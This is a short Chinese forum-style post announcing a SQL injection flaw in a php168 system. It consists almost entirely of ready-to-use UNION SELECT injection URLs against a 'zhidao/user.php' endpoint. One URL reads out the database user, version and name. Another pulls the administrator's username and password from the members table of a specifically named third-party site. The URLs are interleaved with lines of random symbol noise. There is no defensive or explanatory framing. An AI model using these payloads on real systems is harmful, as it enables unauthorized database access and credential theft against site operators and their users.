php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
                                                         
                                       

http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
: a# a0 a8 t- C9 O                                                     
/ {( X" W: k) a                                                                  
                                                        
8 ?0 i, |  W: b. t. m" ?' E; ?http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
$ x1 ^! o# ^0 R  A) W5 m
& W; }0 \- `* d0 i6 ]( y  ]% l
; ]; {0 n1 g, H* q4 o( _
                                                            

: ~- l0 P( l2 r# ^: c  phttp://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--


& \4 n, U3 @4 A. N+ d! }9 p( w9 n